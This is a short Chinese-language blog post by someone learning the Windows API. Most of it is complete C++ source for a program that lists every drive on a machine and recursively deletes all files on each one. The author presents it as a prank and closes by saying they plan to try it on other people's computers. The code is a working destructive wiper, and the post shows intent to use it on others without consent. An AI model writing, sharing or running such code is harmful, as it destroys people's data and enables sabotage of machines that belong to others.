用Windows API遍歷所有檔案並刪除
阿新 • • 發佈:2019-02-08
最近一直在學windows API,弄了一些好玩的東西(有點惡作劇了)...
下面是我現學現賣寫的一個刪除硬碟上所有檔案的小程式 ....
#include <windows.h> #include <stdio.h> #include <bitset> using namespace std; void DelFile(char *cFilePath) { WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) { continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) { sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName); DelFile(cNewPath);//遞迴 } // MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data)); } int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state ) { DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','\0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) { Path[0]='A'+ix; DelFile(Path); } } return 0; }
最後用了GetLogicalDrives這個API函式來判斷本機有多少個分割槽,然後用sprintf格式化一下作為DelFile的引數.
等有機會拿到別人電腦上試試吧....